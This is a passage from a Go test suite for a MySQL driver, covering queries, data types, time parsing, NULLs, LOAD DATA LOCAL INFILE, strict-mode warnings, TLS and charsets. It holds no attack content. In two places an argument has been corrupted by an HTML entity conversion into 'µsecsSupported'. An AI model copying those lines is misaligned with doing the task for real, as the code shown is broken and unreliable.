Read rows = dbt.mustQuery("SELECT value FROM test") if rows.Next() { rows.Scan(&out) if true != out { dbt.Errorf("true != %t", out) } if rows.Next() { dbt.Error("unexpected data") } } else { dbt.Error("no data") } // Update res = dbt.mustExec("UPDATE test SET value = ? WHERE value = ?", false, true) count, err = res.RowsAffected() if err != nil { dbt.Fatalf("res.RowsAffected() returned error: %s", err.Error()) } if count != 1 { dbt.Fatalf("expected 1 affected row, got %d", count) } // Check Update rows = dbt.mustQuery("SELECT value FROM test") if rows.Next() { rows.Scan(&out) if false != out { dbt.Errorf("false != %t", out) } if rows.Next() { dbt.Error("unexpected data") } } else { dbt.Error("no data") } // Delete res = dbt.mustExec("DELETE FROM test WHERE value = ?", false) count, err = res.RowsAffected() if err != nil { dbt.Fatalf("res.RowsAffected() returned error: %s", err.Error()) } if count != 1 { dbt.Fatalf("expected 1 affected row, got %d", count) } // Check for unexpected rows res = dbt.mustExec("DELETE FROM test") count, err = res.RowsAffected() if err != nil { dbt.Fatalf("res.RowsAffected() returned error: %s", err.Error()) } if count != 0 { dbt.Fatalf("expected 0 affected row, got %d", count) } }) } func TestMultiQuery(t *testing.T) { runTestsWithMultiStatement(t, dsn, func(dbt *DBTest) { // Create Table dbt.mustExec("CREATE TABLE `test` (`id` int(11) NOT NULL, `value` int(11) NOT NULL) ") // Create Data res := dbt.mustExec("INSERT INTO test VALUES (1, 1)") count, err := res.RowsAffected() if err != nil { dbt.Fatalf("res.RowsAffected() returned error: %s", err.Error()) } if count != 1 { dbt.Fatalf("expected 1 affected row, got %d", count) } // Update res = dbt.mustExec("UPDATE test SET value = 3 WHERE id = 1; UPDATE test SET value = 4 WHERE id = 1; UPDATE test SET value = 5 WHERE id = 1;") count, err = res.RowsAffected() if err != nil { dbt.Fatalf("res.RowsAffected() returned error: %s", err.Error()) } if count != 1 { dbt.Fatalf("expected 1 affected row, got %d", count) } // Read var out int rows := dbt.mustQuery("SELECT value FROM test WHERE id=1;") if rows.Next() { rows.Scan(&out) if 5 != out { dbt.Errorf("5 != %d", out) } if rows.Next() { dbt.Error("unexpected data") } } else { dbt.Error("no data") } }) } func TestInt(t *testing.T) { runTests(t, dsn, func(dbt *DBTest) { types := [5]string{"TINYINT", "SMALLINT", "MEDIUMINT", "INT", "BIGINT"} in := int64(42) var out int64 var rows *sql.Rows // SIGNED for _, v := range types { dbt.mustExec("CREATE TABLE test (value " + v + ")") dbt.mustExec("INSERT INTO test VALUES (?)", in) rows = dbt.mustQuery("SELECT value FROM test") if rows.Next() { rows.Scan(&out) if in != out { dbt.Errorf("%s: %d != %d", v, in, out) } } else { dbt.Errorf("%s: no data", v) } dbt.mustExec("DROP TABLE IF EXISTS test") } // UNSIGNED ZEROFILL for _, v := range types { dbt.mustExec("CREATE TABLE test (value " + v + " ZEROFILL)") dbt.mustExec("INSERT INTO test VALUES (?)", in) rows = dbt.mustQuery("SELECT value FROM test") if rows.Next() { rows.Scan(&out) if in != out { dbt.Errorf("%s ZEROFILL: %d != %d", v, in, out) } } else { dbt.Errorf("%s ZEROFILL: no data", v) } dbt.mustExec("DROP TABLE IF EXISTS test") } }) } func TestFloat32(t *testing.T) { runTests(t, dsn, func(dbt *DBTest) { types := [2]string{"FLOAT", "DOUBLE"} in := float32(42.23) var out float32 var rows *sql.Rows for _, v := range types { dbt.mustExec("CREATE TABLE test (value " + v + ")") dbt.mustExec("INSERT INTO test VALUES (?)", in) rows = dbt.mustQuery("SELECT value FROM test") if rows.Next() { rows.Scan(&out) if in != out { dbt.Errorf("%s: %g != %g", v, in, out) } } else { dbt.Errorf("%s: no data", v) } dbt.mustExec("DROP TABLE IF EXISTS test") } }) } func TestFloat64(t *testing.T) { runTests(t, dsn, func(dbt *DBTest) { types := [2]string{"FLOAT", "DOUBLE"} var expected float64 = 42.23 var out float64 var rows *sql.Rows for _, v := range types { dbt.mustExec("CREATE TABLE test (value " + v + ")") dbt.mustExec("INSERT INTO test VALUES (42.23)") rows = dbt.mustQuery("SELECT value FROM test") if rows.Next() { rows.Scan(&out) if expected != out { dbt.Errorf("%s: %g != %g", v, expected, out) } } else { dbt.Errorf("%s: no data", v) } dbt.mustExec("DROP TABLE IF EXISTS test") } }) } func TestFloat64Placeholder(t *testing.T) { runTests(t, dsn, func(dbt *DBTest) { types := [2]string{"FLOAT", "DOUBLE"} var expected float64 = 42.23 var out float64 var rows *sql.Rows for _, v := range types { dbt.mustExec("CREATE TABLE test (id int, value " + v + ")") dbt.mustExec("INSERT INTO test VALUES (1, 42.23)") rows = dbt.mustQuery("SELECT value FROM test WHERE id = ?", 1) if rows.Next() { rows.Scan(&out) if expected != out { dbt.Errorf("%s: %g != %g", v, expected, out) } } else { dbt.Errorf("%s: no data", v) } dbt.mustExec("DROP TABLE IF EXISTS test") } }) } func TestString(t *testing.T) { runTests(t, dsn, func(dbt *DBTest) { types := [6]string{"CHAR(255)", "VARCHAR(255)", "TINYTEXT", "TEXT", "MEDIUMTEXT", "LONGTEXT"} in := "κόσμε üöäßñóùéàâÿœ'îë Árvíztűrő いろはにほへとちりぬるを イロハニホヘト דג סקרן чащах น่าฟังเอย" var out string var rows *sql.Rows for _, v := range types { dbt.mustExec("CREATE TABLE test (value " + v + ") CHARACTER SET utf8") dbt.mustExec("INSERT INTO test VALUES (?)", in) rows = dbt.mustQuery("SELECT value FROM test") if rows.Next() { rows.Scan(&out) if in != out { dbt.Errorf("%s: %s != %s", v, in, out) } } else { dbt.Errorf("%s: no data", v) } dbt.mustExec("DROP TABLE IF EXISTS test") } // BLOB dbt.mustExec("CREATE TABLE test (id int, value BLOB) CHARACTER SET utf8") id := 2 in = "Lorem ipsum dolor sit amet, consetetur sadipscing elitr, " + "sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, " + "sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. " + "Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. " + "Lorem ipsum dolor sit amet, consetetur sadipscing elitr, " + "sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, " + "sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. " + "Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet." dbt.mustExec("INSERT INTO test VALUES (?, ?)", id, in) err := dbt.db.QueryRow("SELECT value FROM test WHERE id = ?", id).Scan(&out) if err != nil { dbt.Fatalf("Error on BLOB-Query: %s", err.Error()) } else if out != in { dbt.Errorf("BLOB: %s != %s", in, out) } }) } type timeTests struct { dbtype string tlayout string tests []timeTest } type timeTest struct { s string // leading "!": do not use t as value in queries t time.Time } type timeMode byte func (t timeMode) String() string { switch t { case binaryString: return "binary:string" case binaryTime: return "binary:time.Time" case textString: return "text:string" } panic("unsupported timeMode") } func (t timeMode) Binary() bool { switch t { case binaryString, binaryTime: return true } return false } const ( binaryString timeMode = iota binaryTime textString ) func (t timeTest) genQuery(dbtype string, mode timeMode) string { var inner string if mode.Binary() { inner = "?" } else { inner = `"%s"` } return `SELECT cast(` + inner + ` as ` + dbtype + `)` } func (t timeTest) run(dbt *DBTest, dbtype, tlayout string, mode timeMode) { var rows *sql.Rows query := t.genQuery(dbtype, mode) switch mode { case binaryString: rows = dbt.mustQuery(query, t.s) case binaryTime: rows = dbt.mustQuery(query, t.t) case textString: query = fmt.Sprintf(query, t.s) rows = dbt.mustQuery(query) default: panic("unsupported mode") } defer rows.Close() var err error if !rows.Next() { err = rows.Err() if err == nil { err = fmt.Errorf("no data") } dbt.Errorf("%s [%s]: %s", dbtype, mode, err) return } var dst interface{} err = rows.Scan(&dst) if err != nil { dbt.Errorf("%s [%s]: %s", dbtype, mode, err) return } switch val := dst.(type) { case []uint8: str := string(val) if str == t.s { return } if mode.Binary() && dbtype == "DATETIME" && len(str) == 26 && str[:19] == t.s { // a fix mainly for TravisCI: // accept full microsecond resolution in result for DATETIME columns // where the binary protocol was used return } dbt.Errorf("%s [%s] to string: expected %q, got %q", dbtype, mode, t.s, str, ) case time.Time: if val == t.t { return } dbt.Errorf("%s [%s] to string: expected %q, got %q", dbtype, mode, t.s, val.Format(tlayout), ) default: fmt.Printf("%#v\n", []interface{}{dbtype, tlayout, mode, t.s, t.t}) dbt.Errorf("%s [%s]: unhandled type %T (is '%v')", dbtype, mode, val, val, ) } } func TestDateTime(t *testing.T) { afterTime := func(t time.Time, d string) time.Time { dur, err := time.ParseDuration(d) if err != nil { panic(err) } return t.Add(dur) } // NOTE: MySQL rounds DATETIME(x) up - but that's not included in the tests format := "2006-01-02 15:04:05.999999" t0 := time.Time{} tstr0 := "0000-00-00 00:00:00.000000" testcases := []timeTests{ {"DATE", format[:10], []timeTest{ {t: time.Date(2011, 11, 20, 0, 0, 0, 0, time.UTC)}, {t: t0, s: tstr0[:10]}, }}, {"DATETIME", format[:19], []timeTest{ {t: time.Date(2011, 11, 20, 21, 27, 37, 0, time.UTC)}, {t: t0, s: tstr0[:19]}, }}, {"DATETIME(0)", format[:21], []timeTest{ {t: time.Date(2011, 11, 20, 21, 27, 37, 0, time.UTC)}, {t: t0, s: tstr0[:19]}, }}, {"DATETIME(1)", format[:21], []timeTest{ {t: time.Date(2011, 11, 20, 21, 27, 37, 100000000, time.UTC)}, {t: t0, s: tstr0[:21]}, }}, {"DATETIME(6)", format, []timeTest{ {t: time.Date(2011, 11, 20, 21, 27, 37, 123456000, time.UTC)}, {t: t0, s: tstr0}, }}, {"TIME", format[11:19], []timeTest{ {t: afterTime(t0, "12345s")}, {s: "!-12:34:56"}, {s: "!-838:59:59"}, {s: "!838:59:59"}, {t: t0, s: tstr0[11:19]}, }}, {"TIME(0)", format[11:19], []timeTest{ {t: afterTime(t0, "12345s")}, {s: "!-12:34:56"}, {s: "!-838:59:59"}, {s: "!838:59:59"}, {t: t0, s: tstr0[11:19]}, }}, {"TIME(1)", format[11:21], []timeTest{ {t: afterTime(t0, "12345600ms")}, {s: "!-12:34:56.7"}, {s: "!-838:59:58.9"}, {s: "!838:59:58.9"}, {t: t0, s: tstr0[11:21]}, }}, {"TIME(6)", format[11:], []timeTest{ {t: afterTime(t0, "1234567890123000ns")}, {s: "!-12:34:56.789012"}, {s: "!-838:59:58.999999"}, {s: "!838:59:58.999999"}, {t: t0, s: tstr0[11:]}, }}, } dsns := []string{ dsn + "&parseTime=true", dsn + "&parseTime=false", } for _, testdsn := range dsns { runTests(t, testdsn, func(dbt *DBTest) { microsecsSupported := false zeroDateSupported := false var rows *sql.Rows var err error rows, err = dbt.db.Query(`SELECT cast("00:00:00.1" as TIME(1)) = "00:00:00.1"`) if err == nil { rows.Scan(µsecsSupported) rows.Close() } rows, err = dbt.db.Query(`SELECT cast("0000-00-00" as DATE) = "0000-00-00"`) if err == nil { rows.Scan(&zeroDateSupported) rows.Close() } for _, setups := range testcases { if t := setups.dbtype; !microsecsSupported && t[len(t)-1:] == ")" { // skip fractional second tests if unsupported by server continue } for _, setup := range setups.tests { allowBinTime := true if setup.s == "" { // fill time string whereever Go can reliable produce it setup.s = setup.t.Format(setups.tlayout) } else if setup.s[0] == '!' { // skip tests using setup.t as source in queries allowBinTime = false // fix setup.s - remove the "!" setup.s = setup.s[1:] } if !zeroDateSupported && setup.s == tstr0[:len(setup.s)] { // skip disallowed 0000-00-00 date continue } setup.run(dbt, setups.dbtype, setups.tlayout, textString) setup.run(dbt, setups.dbtype, setups.tlayout, binaryString) if allowBinTime { setup.run(dbt, setups.dbtype, setups.tlayout, binaryTime) } } } }) } } func TestTimestampMicros(t *testing.T) { format := "2006-01-02 15:04:05.999999" f0 := format[:19] f1 := format[:21] f6 := format[:26] runTests(t, dsn, func(dbt *DBTest) { // check if microseconds are supported. // Do not use timestamp(x) for that check - before 5.5.6, x would mean display width // and not precision. // Se last paragraph at http://dev.mysql.com/doc/refman/5.6/en/fractional-seconds.html microsecsSupported := false if rows, err := dbt.db.Query(`SELECT cast("00:00:00.1" as TIME(1)) = "00:00:00.1"`); err == nil { rows.Scan(µsecsSupported) rows.Close() } if !microsecsSupported { // skip test return } _, err := dbt.db.Exec(` CREATE TABLE test ( value0 TIMESTAMP NOT NULL DEFAULT '` + f0 + `', value1 TIMESTAMP(1) NOT NULL DEFAULT '` + f1 + `', value6 TIMESTAMP(6) NOT NULL DEFAULT '` + f6 + `' )`, ) if err != nil { dbt.Error(err) } defer dbt.mustExec("DROP TABLE IF EXISTS test") dbt.mustExec("INSERT INTO test SET value0=?, value1=?, value6=?", f0, f1, f6) var res0, res1, res6 string rows := dbt.mustQuery("SELECT * FROM test") if !rows.Next() { dbt.Errorf("test contained no selectable values") } err = rows.Scan(&res0, &res1, &res6) if err != nil { dbt.Error(err) } if res0 != f0 { dbt.Errorf("expected %q, got %q", f0, res0) } if res1 != f1 { dbt.Errorf("expected %q, got %q", f1, res1) } if res6 != f6 { dbt.Errorf("expected %q, got %q", f6, res6) } }) } func TestNULL(t *testing.T) { runTests(t, dsn, func(dbt *DBTest) { nullStmt, err := dbt.db.Prepare("SELECT NULL") if err != nil { dbt.Fatal(err) } defer nullStmt.Close() nonNullStmt, err := dbt.db.Prepare("SELECT 1") if err != nil { dbt.Fatal(err) } defer nonNullStmt.Close() // NullBool var nb sql.NullBool // Invalid if err = nullStmt.QueryRow().Scan(&nb); err != nil { dbt.Fatal(err) } if nb.Valid { dbt.Error("valid NullBool which should be invalid") } // Valid if err = nonNullStmt.QueryRow().Scan(&nb); err != nil { dbt.Fatal(err) } if !nb.Valid { dbt.Error("invalid NullBool which should be valid") } else if nb.Bool != true { dbt.Errorf("Unexpected NullBool value: %t (should be true)", nb.Bool) } // NullFloat64 var nf sql.NullFloat64 // Invalid if err = nullStmt.QueryRow().Scan(&nf); err != nil { dbt.Fatal(err) } if nf.Valid { dbt.Error("valid NullFloat64 which should be invalid") } // Valid if err = nonNullStmt.QueryRow().Scan(&nf); err != nil { dbt.Fatal(err) } if !nf.Valid { dbt.Error("invalid NullFloat64 which should be valid") } else if nf.Float64 != float64(1) { dbt.Errorf("unexpected NullFloat64 value: %f (should be 1.0)", nf.Float64) } // NullInt64 var ni sql.NullInt64 // Invalid if err = nullStmt.QueryRow().Scan(&ni); err != nil { dbt.Fatal(err) } if ni.Valid { dbt.Error("valid NullInt64 which should be invalid") } // Valid if err = nonNullStmt.QueryRow().Scan(&ni); err != nil { dbt.Fatal(err) } if !ni.Valid { dbt.Error("invalid NullInt64 which should be valid") } else if ni.Int64 != int64(1) { dbt.Errorf("unexpected NullInt64 value: %d (should be 1)", ni.Int64) } // NullString var ns sql.NullString // Invalid if err = nullStmt.QueryRow().Scan(&ns); err != nil { dbt.Fatal(err) } if ns.Valid { dbt.Error("valid NullString which should be invalid") } // Valid if err = nonNullStmt.QueryRow().Scan(&ns); err != nil { dbt.Fatal(err) } if !ns.Valid { dbt.Error("invalid NullString which should be valid") } else if ns.String != `1` { dbt.Error("unexpected NullString value:" + ns.String + " (should be `1`)") } // nil-bytes var b []byte // Read nil if err = nullStmt.QueryRow().Scan(&b); err != nil { dbt.Fatal(err) } if b != nil { dbt.Error("non-nil []byte wich should be nil") } // Read non-nil if err = nonNullStmt.QueryRow().Scan(&b); err != nil { dbt.Fatal(err) } if b == nil { dbt.Error("nil []byte wich should be non-nil") } // Insert nil b = nil success := false if err = dbt.db.QueryRow("SELECT ? IS NULL", b).Scan(&success); err != nil { dbt.Fatal(err) } if !success { dbt.Error("inserting []byte(nil) as NULL failed") } // Check input==output with input==nil b = nil if err = dbt.db.QueryRow("SELECT ?", b).Scan(&b); err != nil { dbt.Fatal(err) } if b != nil { dbt.Error("non-nil echo from nil input") } // Check input==output with input!=nil b = []byte("") if err = dbt.db.QueryRow("SELECT ?", b).Scan(&b); err != nil { dbt.Fatal(err) } if b == nil { dbt.Error("nil echo from non-nil input") } // Insert NULL dbt.mustExec("CREATE TABLE test (dummmy1 int, value int, dummy2 int)") dbt.mustExec("INSERT INTO test VALUES (?, ?, ?)", 1, nil, 2) var out interface{} rows := dbt.mustQuery("SELECT * FROM test") if rows.Next() { rows.Scan(&out) if out != nil { dbt.Errorf("%v != nil", out) } } else { dbt.Error("no data") } }) } func TestUint64(t *testing.T) { const ( u0 = uint64(0) uall = ^u0 uhigh = uall >> 1 utop = ^uhigh s0 = int64(0) sall = ^s0 shigh = int64(uhigh) stop = ^shigh ) runTests(t, dsn, func(dbt *DBTest) { stmt, err := dbt.db.Prepare(`SELECT ?, ?, ? ,?, ?, ?, ?, ?`) if err != nil { dbt.Fatal(err) } defer stmt.Close() row := stmt.QueryRow( u0, uhigh, utop, uall, s0, shigh, stop, sall, ) var ua, ub, uc, ud uint64 var sa, sb, sc, sd int64 err = row.Scan(&ua, &ub, &uc, &ud, &sa, &sb, &sc, &sd) if err != nil { dbt.Fatal(err) } switch { case ua != u0, ub != uhigh, uc != utop, ud != uall, sa != s0, sb != shigh, sc != stop, sd != sall: dbt.Fatal("unexpected result value") } }) } func TestLongData(t *testing.T) { runTests(t, dsn, func(dbt *DBTest) { var maxAllowedPacketSize int err := dbt.db.QueryRow("select @@max_allowed_packet").Scan(&maxAllowedPacketSize) if err != nil { dbt.Fatal(err) } maxAllowedPacketSize-- // don't get too ambitious if maxAllowedPacketSize > 1<<25 { maxAllowedPacketSize = 1 << 25 } dbt.mustExec("CREATE TABLE test (value LONGBLOB)") in := strings.Repeat(`a`, maxAllowedPacketSize+1) var out string var rows *sql.Rows // Long text data const nonDataQueryLen = 28 // length query w/o value inS := in[:maxAllowedPacketSize-nonDataQueryLen] dbt.mustExec("INSERT INTO test VALUES('" + inS + "')") rows = dbt.mustQuery("SELECT value FROM test") if rows.Next() { rows.Scan(&out) if inS != out { dbt.Fatalf("LONGBLOB: length in: %d, length out: %d", len(inS), len(out)) } if rows.Next() { dbt.Error("LONGBLOB: unexpexted row") } } else { dbt.Fatalf("LONGBLOB: no data") } // Empty table dbt.mustExec("TRUNCATE TABLE test") // Long binary data dbt.mustExec("INSERT INTO test VALUES(?)", in) rows = dbt.mustQuery("SELECT value FROM test WHERE 1=?", 1) if rows.Next() { rows.Scan(&out) if in != out { dbt.Fatalf("LONGBLOB: length in: %d, length out: %d", len(in), len(out)) } if rows.Next() { dbt.Error("LONGBLOB: unexpexted row") } } else { if err = rows.Err(); err != nil { dbt.Fatalf("LONGBLOB: no data (err: %s)", err.Error()) } else { dbt.Fatal("LONGBLOB: no data (err: )") } } }) } func TestLoadData(t *testing.T) { runTests(t, dsn, func(dbt *DBTest) { verifyLoadDataResult := func() { rows, err := dbt.db.Query("SELECT * FROM test") if err != nil { dbt.Fatal(err.Error()) } i := 0 values := [4]string{ "a string", "a string containing a \t", "a string containing a \n", "a string containing both \t\n", } var id int var value string for rows.Next() { i++ err = rows.Scan(&id, &value) if err != nil { dbt.Fatal(err.Error()) } if i != id { dbt.Fatalf("%d != %d", i, id) } if values[i-1] != value { dbt.Fatalf("%q != %q", values[i-1], value) } } err = rows.Err() if err != nil { dbt.Fatal(err.Error()) } if i != 4 { dbt.Fatalf("rows count mismatch. Got %d, want 4", i) } } file, err := ioutil.TempFile("", "gotest") defer os.Remove(file.Name()) if err != nil { dbt.Fatal(err) } file.WriteString("1\ta string\n2\ta string containing a \\t\n3\ta string containing a \\n\n4\ta string containing both \\t\\n\n") file.Close() dbt.db.Exec("DROP TABLE IF EXISTS test") dbt.mustExec("CREATE TABLE test (id INT NOT NULL PRIMARY KEY, value TEXT NOT NULL) CHARACTER SET utf8") // Local File RegisterLocalFile(file.Name()) dbt.mustExec(fmt.Sprintf("LOAD DATA LOCAL INFILE %q INTO TABLE test", file.Name())) verifyLoadDataResult() // negative test _, err = dbt.db.Exec("LOAD DATA LOCAL INFILE 'doesnotexist' INTO TABLE test") if err == nil { dbt.Fatal("load non-existent file didn't fail") } else if err.Error() != "local file 'doesnotexist' is not registered" { dbt.Fatal(err.Error()) } // Empty table dbt.mustExec("TRUNCATE TABLE test") // Reader RegisterReaderHandler("test", func() io.Reader { file, err = os.Open(file.Name()) if err != nil { dbt.Fatal(err) } return file }) dbt.mustExec("LOAD DATA LOCAL INFILE 'Reader::test' INTO TABLE test") verifyLoadDataResult() // negative test _, err = dbt.db.Exec("LOAD DATA LOCAL INFILE 'Reader::doesnotexist' INTO TABLE test") if err == nil { dbt.Fatal("load non-existent Reader didn't fail") } else if err.Error() != "Reader 'doesnotexist' is not registered" { dbt.Fatal(err.Error()) } }) } func TestFoundRows(t *testing.T) { runTests(t, dsn, func(dbt *DBTest) { dbt.mustExec("CREATE TABLE test (id INT NOT NULL ,data INT NOT NULL)") dbt.mustExec("INSERT INTO test (id, data) VALUES (0, 0),(0, 0),(1, 0),(1, 0),(1, 1)") res := dbt.mustExec("UPDATE test SET data = 1 WHERE id = 0") count, err := res.RowsAffected() if err != nil { dbt.Fatalf("res.RowsAffected() returned error: %s", err.Error()) } if count != 2 { dbt.Fatalf("Expected 2 affected rows, got %d", count) } res = dbt.mustExec("UPDATE test SET data = 1 WHERE id = 1") count, err = res.RowsAffected() if err != nil { dbt.Fatalf("res.RowsAffected() returned error: %s", err.Error()) } if count != 2 { dbt.Fatalf("Expected 2 affected rows, got %d", count) } }) runTests(t, dsn+"&clientFoundRows=true", func(dbt *DBTest) { dbt.mustExec("CREATE TABLE test (id INT NOT NULL ,data INT NOT NULL)") dbt.mustExec("INSERT INTO test (id, data) VALUES (0, 0),(0, 0),(1, 0),(1, 0),(1, 1)") res := dbt.mustExec("UPDATE test SET data = 1 WHERE id = 0") count, err := res.RowsAffected() if err != nil { dbt.Fatalf("res.RowsAffected() returned error: %s", err.Error()) } if count != 2 { dbt.Fatalf("Expected 2 matched rows, got %d", count) } res = dbt.mustExec("UPDATE test SET data = 1 WHERE id = 1") count, err = res.RowsAffected() if err != nil { dbt.Fatalf("res.RowsAffected() returned error: %s", err.Error()) } if count != 3 { dbt.Fatalf("Expected 3 matched rows, got %d", count) } }) } func TestStrict(t *testing.T) { // ALLOW_INVALID_DATES to get rid of stricter modes - we want to test for warnings, not errors relaxedDsn := dsn + "&sql_mode='ALLOW_INVALID_DATES,NO_AUTO_CREATE_USER'" // make sure the MySQL version is recent enough with a separate connection // before running the test conn, err := MySQLDriver{}.Open(relaxedDsn) if conn != nil { conn.Close() } if me, ok := err.(*MySQLError); ok && me.Number == 1231 { // Error 1231: Variable 'sql_mode' can't be set to the value of 'ALLOW_INVALID_DATES' // => skip test, MySQL server version is too old return } runTests(t, relaxedDsn, func(dbt *DBTest) { dbt.mustExec("CREATE TABLE test (a TINYINT NOT NULL, b CHAR(4))") var queries = [...]struct { in string codes []string }{ {"DROP TABLE IF EXISTS no_such_table", []string{"1051"}}, {"INSERT INTO test VALUES(10,'mysql'),(NULL,'test'),(300,'Open Source')", []string{"1265", "1048", "1264", "1265"}}, } var err error var checkWarnings = func(err error, mode string, idx int) { if err == nil { dbt.Errorf("expected STRICT error on query [%s] %s", mode, queries[idx].in) } if warnings, ok := err.(MySQLWarnings); ok { var codes = make([]string, len(warnings)) for i := range warnings { codes[i] = warnings[i].Code } if len(codes) != len(queries[idx].codes) { dbt.Errorf("unexpected STRICT error count on query [%s] %s: Wanted %v, Got %v", mode, queries[idx].in, queries[idx].codes, codes) } for i := range warnings { if codes[i] != queries[idx].codes[i] { dbt.Errorf("unexpected STRICT error codes on query [%s] %s: Wanted %v, Got %v", mode, queries[idx].in, queries[idx].codes, codes) return } } } else { dbt.Errorf("unexpected error on query [%s] %s: %s", mode, queries[idx].in, err.Error()) } } // text protocol for i := range queries { _, err = dbt.db.Exec(queries[i].in) checkWarnings(err, "text", i) } var stmt *sql.Stmt // binary protocol for i := range queries { stmt, err = dbt.db.Prepare(queries[i].in) if err != nil { dbt.Errorf("error on preparing query %s: %s", queries[i].in, err.Error()) } _, err = stmt.Exec() checkWarnings(err, "binary", i) err = stmt.Close() if err != nil { dbt.Errorf("error on closing stmt for query %s: %s", queries[i].in, err.Error()) } } }) } func TestTLS(t *testing.T) { tlsTest := func(dbt *DBTest) { if err := dbt.db.Ping(); err != nil { if err == ErrNoTLS { dbt.Skip("server does not support TLS") } else { dbt.Fatalf("error on Ping: %s", err.Error()) } } rows := dbt.mustQuery("SHOW STATUS LIKE 'Ssl_cipher'") var variable, value *sql.RawBytes for rows.Next() { if err := rows.Scan(&variable, &value); err != nil { dbt.Fatal(err.Error()) } if value == nil { dbt.Fatal("no Cipher") } } } runTests(t, dsn+"&tls=skip-verify", tlsTest) // Verify that registering / using a custom cfg works RegisterTLSConfig("custom-skip-verify", &tls.Config{ InsecureSkipVerify: true, }) runTests(t, dsn+"&tls=custom-skip-verify", tlsTest) } func TestReuseClosedConnection(t *testing.T) { // this test does not use sql.database, it uses the driver directly if !available { t.Skipf("MySQL server not running on %s", netAddr) } md := &MySQLDriver{} conn, err := md.Open(dsn) if err != nil { t.Fatalf("error connecting: %s", err.Error()) } stmt, err := conn.Prepare("DO 1") if err != nil { t.Fatalf("error preparing statement: %s", err.Error()) } _, err = stmt.Exec(nil) if err != nil { t.Fatalf("error executing statement: %s", err.Error()) } err = conn.Close() if err != nil { t.Fatalf("error closing connection: %s", err.Error()) } defer func() { if err := recover(); err != nil { t.Errorf("panic after reusing a closed connection: %v", err) } }() _, err = stmt.Exec(nil) if err != nil && err != driver.ErrBadConn { t.Errorf("unexpected error '%s', expected '%s'", err.Error(), driver.ErrBadConn.Error()) } } func TestCharset(t *testing.T) { if !available { t.Skipf("MySQL server not running on %s", netAddr) } mustSetCharset := func(charsetParam, expected string) { runTests(t, dsn+"&"+charsetParam, func(dbt *DBTest) { rows := dbt.mustQuery("SELECT @@character_set_connection") defer rows.Close() if !rows.Next() { dbt.Fatalf("error getting connection charset: %s", rows.Err()) } var got string rows.Scan(&got) if got != expected { dbt.Fatalf("expected connection charset %s but got %s", expected, got) } }) } // non utf8 test mustSetCharset("charset=ascii", "ascii") // when the first charset is invalid, use the second mustSetCharset("charset=none,utf8", "utf8") // when the first charset is valid, use it mustSetCharset("charset=ascii,utf8", "ascii") mustSetCharset("charset=utf8,ascii", "utf8") } func TestFailingCharset(t *testing.T) { runTests(t, dsn+"&charset=none", func(dbt *DBTest) { // run query to really establish connection... _, err := dbt.db.Exec("SELECT 1") if err == nil { dbt.db.Close() t.Fatalf("connection must not succeed without a valid charset") } }) } func TestCollation(t *testing.T) { if !available { t.Skipf("MySQL server not running on %s", netAddr) } defaultCollation := "utf8_general_ci" testCollations := []string{ "", // do not set defaultCollation, // driver default "latin1_general_ci", "binary", "utf8_unicode_ci", "cp1257_bin", } for _, collation := range testCollations { var expected, tdsn string if collation != "" { tdsn = dsn + "&collation=" + collation expected = collation } else { tdsn = dsn expected = defaultCollation } runTests(t, tdsn, func(dbt *DBTest) { var got string if err := dbt.db.QueryRow("SELECT @@collation_connection").Scan(&got); err != nil { dbt.Fatal(err) } if got != expected { dbt.Fatalf("expected connection collation %s but got %s", expected, got) } }) } } func TestColumnsWithAlias(t *testing.T) { runTests(t, dsn+"&columnsWithAlias=true", func(dbt *DBTest) { rows := dbt.mustQuery("SELECT 1 AS A") defer rows.Close() cols, _ := rows.Columns() if len(cols) != 1 { t.Fatalf("expected 1 column, got %d", len(cols)) } if cols[0] != "A" { t.Fatalf("expected column name \"A\", got \"%s\"", cols[0]) } rows.Close() rows = dbt.mustQuery("SELECT * FROM (SELECT 1 AS one) AS A") cols, _ = rows.Columns() if len(cols) != 1 { t.Fatalf("expected 1 column, got %d", len(cols)) } if cols[0] != "A.one" { t.Fatalf("expected column name \"A.one\", got \"%s\"", cols[0]) } }) } func TestRawBytesResultExceedsBuffer(t *testing.T) { runTests(t, dsn, func(dbt *DBTest) { // defaultBufSize from buffer.go expected := strings.Repeat("abc", defaultBufSize) rows := dbt.mustQuery("SELECT '" + expected + "'") defer rows.Close() if !rows.Next() { dbt.Error("expected result, got none") } var result sql.RawBytes rows.Scan(&result) if expected != string(result) { dbt.Error("result did not match expected value") } }) } func TestTimezoneConversion(t *testing.T) { zones := []string{"UTC", "US/Central", "US/Pacific", "Local"} // Regression test for timezone handling tzTest := func(dbt *DBTest) { // Create table dbt.mustExec("CREATE TABLE test (ts TIMESTAMP)") // Insert local time into database (should be converted) usCentral, _ := time.LoadLocation("US/Central") reftime := time.Date(2014, 05, 30, 18, 03, 17, 0, time.UTC).In(usCentral) dbt.mustExec("INSERT INTO test VALUE (?)", reftime) // Retrieve time from DB rows := dbt.mustQuery("SELECT ts FROM test") if !rows.Next() { dbt.Fatal("did not get any rows out") } var dbTime time.Time err := rows.Scan(&dbTime) if err != nil { dbt.Fatal("Err", err) } // Check that dates match if reftime.Unix() != dbTime.Unix() { dbt.Errorf("times do not match.\n") dbt.Errorf(" Now(%v)=%v\n", usCentral, reftime) dbt.Errorf(" Now(UTC)=%v\n", dbTime) } } for _, tz := range zones { runTests(t, dsn+"&parseTime=true&loc="+url.QueryEscape(tz), tzTest) } } // Special cases func TestRowsClose(t *testing.T) { runTests(t, dsn, func(dbt *DBTest) { rows, err := dbt.db.Query("SELECT 1") if err != nil { dbt.Fatal(err) } err = rows.Close() if err != nil { dbt.Fatal(err) } if rows.Next() { dbt.Fatal("unexpected row after rows.Close()") } err = rows.Err() if err != nil { dbt.Fatal(err) } }) } // dangling statements // http://code.google.com/p/go/issues/detail?id=3865 func TestCloseStmtBeforeRows(t *testing.T) { runTests(t, dsn, func(dbt *DBTest) { stmt, err := dbt.db.Prepare("SELECT 1") if err != nil { dbt.Fatal(err) } rows, err := stmt.Query() if err != nil { stmt.Close() dbt.Fatal(err) } defer rows.Close() err = stmt.Close() if err != nil { dbt.Fatal(err) } if !rows.Next() { dbt.Fatal("getting row failed") } else { err = rows.Err() if err != nil { dbt.Fatal(err) } var out bool err = rows.Scan(&out) if err != nil { 